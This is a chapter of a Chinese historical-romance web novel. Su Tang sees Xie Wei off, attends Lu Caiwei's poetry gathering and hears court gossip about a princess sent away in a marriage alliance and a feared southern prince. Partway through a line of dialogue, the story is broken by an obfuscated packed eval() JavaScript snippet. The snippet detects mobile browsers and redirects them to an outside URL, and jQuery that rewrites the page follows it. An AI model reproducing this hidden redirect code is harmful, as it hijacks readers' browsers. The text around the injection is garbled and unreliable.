正好也有些饿了,苏棠起来把馄饨给吃了,只是她一边吃,那头的谢巍竟耍起赖来,躺在她的榻上不肯走,眼珠子还时不时的盯着她看。
吃了几口馄饨后,她又浑身不自在的看了看谢巍。
“你这趟出去是要做什么?”
“二娘子这是要管着我了?”
“算了,你就当我没问。”
说罢又低头看了看碗里的馄饨,勺子不停的搅呀搅的。
她只是觉得谢巍越发不一样了。他可能已经记得什么了,要出去调查。
或许他这趟出去就会恢复记忆了,从今以后他就不再是秦墨,而是回归谢巍的身份。他也不会再回苏家,回安宁伯府。
这样不也是挺好的?之前想着把人赶出去,赶不出走,如今他自己愿意走出去,甚至离开,岂不是好事。只是为何自己心里空落落的?
又吃了几口,她就吃不下了,主要是胃口也不太好。
“二娘子没有什么别的想问的?”谢巍下榻,走过来,坐到她身边来。
“没有。”苏棠摇摇头。
其实有很多话想问,但是此时也问不出口。
这时候睡醒的杏花,迷迷瞪瞪的就跳到了谢巍的腿上,咪咪直叫。谢巍伸手就揉了揉它的下巴,又抚摸了它背上柔软的毛。
“等我回来,送二娘子一份礼物。”
“什么礼物?”苏棠有些好奇。
“到时候就知道了。”
苏棠感觉到自己脚边毛茸茸的,自己的裙裾也被拉扯着,低头一看,和杏花一起来捣乱的还有狼崽子。
“别把我裙子扯坏了。”苏棠心疼裙子,再扒拉着裙摆,想让它学会松开。
谢巍只是轻轻一捏小狼的脖颈,它就松开了嘴。呜呜咽咽地叫,似是有些怕谢巍。
“我不在,你们两个可要保护好你们的姐姐。”谢巍对着它们说话的,煞有介事的。
“他们两个哪听得懂!你走了,那豆花呢?”
“豆花养在我的屋子里,阿大会按时喂的,你若是想它,就把它带过来和杏花、小狼作伴。”说罢他就把小狼扔回地上。
“我听闻你要去采薇县主的诗会。”
“怎么了?”她觉得卢采薇还蛮有意思的,所以并不抵触。
“荣阳长公主作为和亲公主远嫁还能带着女儿回来,其心智手段缺一不可,不是什么善茬,你多小心一点!”
谢巍走后,原本她是想好好睡觉的,可人一躺下,就精神了,总想这事,一点儿都睡不着。
两日后,苏棠前往卢采薇组织的诗会。
诗会设在卢采薇城东的一处别院,离安宁伯府不算远,坐马车约莫两刻钟便到了。
苏棠下了马车,抬头便见一座十分别致的宅子,门楣上悬着一块匾额,写着“东篱小筑”三个字,笔锋清秀中透着几分洒脱。
门口已有奴仆候着,见了苏棠的帖子,恭恭敬敬地将她引了进去。
院子不算多大,却布置得极为雅致。绕过影壁,便见一池碧水,水边种着几丛芭蕉,假山流水,倒映在水中,颇有几分江南流水人家的风情。池畔一座小亭,四周空地搭建了实木框架,挂上了荷花白的幔帐,微风轻拂,幔帐飞舞,好一幅人间仙境一般的画面。
幔帐内,席地而坐,放着几张矮几,上面放着茶点瓜果。
苏棠到的时候,亭中已有三四位贵女坐着了。见她进来,几道目光齐刷刷地看了过来,带着几分审视和好奇,显然对苏棠不熟悉。
“这位便是苏二娘子?”一个穿藕荷色褙子的姑娘率先开口,声音软糯,面上带着得体的笑意,“早听县主提过你,今日总算见着了。”
苏棠微微颔首,欠身行了一礼:“臣女苏棠,见过诸位姐姐。”
她其实有些紧张。上京的贵女圈子她从未真正融入过,在陇西长大,即使回到上京有些时日,可与这些闺秀们不过是点头之交。如今要坐在一起谈诗论画,她心里实在没底。
正在苏棠忐忑的时候,一道声音自背后传来,“呦,看来今日是我来迟了!”
众人转头一看,便看到了董知。
今日的董知打扮得也是十分的娇艳,穿了一身茜红的软纱襦裙,梳了别致的桃心髻。
“董娘子。”看到董知,苏棠就像是见到亲人一般。
董知也没想到苏棠也在,脸上扬起兴奋的笑意,“原来采薇县主也邀请了你呀!”
“没想到董娘子也来,早知道就一道来了!”苏棠想着有认识的人,一会也不至于如此尴尬了。
“原来两位早就认识啦?”其中一个穿着天水碧缠枝纹襦裙的女娘笑着问。
正说着,卢采薇从后院走了出来。今日她穿了一件水红色的褙子,头戴精巧的象牙莲花冠,明艳大方。
“都到了?”卢采薇扫了一眼,目光落在苏棠身上,笑了笑,“我还怕你不来呢。”
苏棠忙道:“县主相邀,怎会不来。”
卢采薇摆摆手:“说了不必拘谨,什么县主不县主的,大家平日里都是叫我采薇的。来,我给你引见引见。”
她拉着苏棠的手,逐一介绍亭中的几位贵女。穿藕荷色褙子的女娘,是中书门下参知政事之女陆枕秋。穿浅绿色简单袍裙,看着一身爽利的是骠骑大将军的嫡次女邵华。还有看似文静的总带着浅笑的娘子,是光禄寺卿侄女周芸娘……
苏棠一一见礼,记下每个人的名字和家世。这些她前世大多听说过,只是从未深交。
众人坐下,董知也和苏棠咬耳朵:“采薇县主交友广阔,为人十分的豪爽,所以也不怎么在意门户之见,你不必太过拘束。”
邵华性格最为随和,坐下后当即就问卢采薇:“可是人齐了,今日玩什么?总不会真是让我作诗吧?那我可不玩了!”
众人皆知她家中武将出身,并不擅长这等附庸风雅的事,这一听,大家都笑了起来。
邵华并未生气,也知晓大家不是真的要笑话她,只是被她这些话逗笑而已。
卢采薇摆摆手:“怎么可能?诗会就是个由头,就是约你们出来玩。”
陆枕秋喝了口茶:“还好永乐不在京中,和崔家老妇人去礼佛了,要是这回永乐来了,我肯定不会来。”
苏棠听得一愣一愣的,这是能说的?
公然表示不喜永乐公主。
只是似乎大家都不太在意,就连卢采薇也只是笑了笑,什么都没说。
陆枕秋看了看苏棠又问:“苏二娘子从陇西来,那边风土如何?听闻都是戈壁沙漠,我从未去过那么远的地方,很是好奇。”
苏棠斟酌着答道:“陇西不比上京繁华,但胜在辽阔,地貌极为多元,并非单一的戈壁沙漠,它的美是苍凉、高亢。民俗质朴,尚俭约,习仁义,勤稼穑,多畜牧。”
邵华闻言,眼中露出几分向往:“听你这么说,倒是个好地方。我父亲从前在戍边任过职,常说那边民风淳朴,与上京大不相同。”
“是淳朴。”苏棠笑了笑,“但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448821|198206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也粗犷,比不得上京精致。”
不得不说卢采薇财大气粗,竟然请了一整个杂耍班子来。
上来的第一个节目的就是抖空竹,简直比宫宴上那些莺莺燕燕的舞蹈还要精彩,紧接着还有教坊司的歌姬吟唱,变脸等戏法……
苏棠第一次见如此精彩的杂耍,一下子让她看得目不转睛。好一会她才觉得十分的不好意思,自己像是个井底之蛙一般,生怕惹人笑话了。
董知捂嘴笑了笑:“不必如此害羞。采薇就是如此的大方,她毕竟是公主府的,荣阳长公主是有封地的,还有赋税。长公主之前和亲还带回来了不少金银珠宝,所以很是风光。”
苏棠并不知晓这些,有些小心翼翼地问:“荣阳长公主从前和亲的是哪儿。”
“南蛮!”董知见多甚广,不介意告诉苏棠多一些,“南蛮的风土人情就是比较野蛮,因此难以教化。虽是小国,但是热带自然资源十分的丰盛,很多人觊觎。
“南蛮的将士也不如中原的将士,但是擅长驱使蛇虫鼠蚁,所以谁都讨不到好处。先帝为了能与南蛮进行资源交易,又想实现通婚,首当其冲就是把自己的公主嫁过去和亲。”
“所以采薇县主是荣阳长公主和南蛮君主的女儿?”苏棠也是第一回听说这个事,可见她前世活得多封闭,还不如董知这一个闺阁女子。
董知摇摇头:“不是,准确来说,是荣阳长公主和南蛮少主的女儿。因为长公主嫁过去的时候,南蛮君主已经七十几了。”
“这……”苏棠大受震撼。
“这事大家都知道,长公主也不藏着掖着,只是你知晓别当着人面说就是了。我觉得这是长公主当时自保的一种本能而已,任谁也不愿意陪着一个七十几的老头,而且南蛮有妻妾陪葬的习俗。”
“确实。长公主愿意和亲南蛮已经是天大的义举了!”苏棠头一次见识到身为皇室子女的艰辛。
董知:“十年前镇守南边的镇南王突破了南蛮的防线,直接拿下了南蛮君主的头颅,南蛮才彻底归顺成为了大雍的附属国。长公主就是那时才得携带采薇,一同返回大雍。”
“这镇南王真厉害,我倒是听说过。听说镇南王实行分封制,不完全受大雍管控,且手里有二十万镇南军,十分强横。”这个苏棠倒是知晓的。
前世睿王叶易安为了争夺皇位,甚至派人南下游说过镇南王的支持,毕竟这二十万兵力不容小觑,要是拿过来直接逼宫,这胜算也是不小的。
只是镇南王压根瞧不上叶易安,甚至还把叶易安派去的人都杀了。
董知嘴里嚼着糕点,一说起八卦就兴奋:“你肯定还没听过镇南王另一个称号!”
“什么称号?”苏棠也来了兴致。
“疯王,发疯的疯。”
董知吃了糕点,喝过茶水,继续道:“你知道的,我爹是吏部的,这大雍各上下的官员背景,都知道个七七八八。包括一些秘辛的事!”
“镇南王啊?我确实是第一次听说疯王这个称号。”
“听说镇南王是个美男子,但是人真的挺疯的,据说杀进南蛮的时候,特别的血腥暴力,史记里说是人头堆成小山。更疯的是他抢夺了南蛮圣女回去囚禁,最后还请先帝下旨给他和圣女赐婚。
“关键是什么,那圣女先头已经嫁了人的,镇南王直接把她夫婿也杀了。先帝为了邦交,不允,他还是直接强娶了去,把圣女一生囚禁。”
苏棠听完大受震撼:“那……那是圣女,南蛮的人不闹?”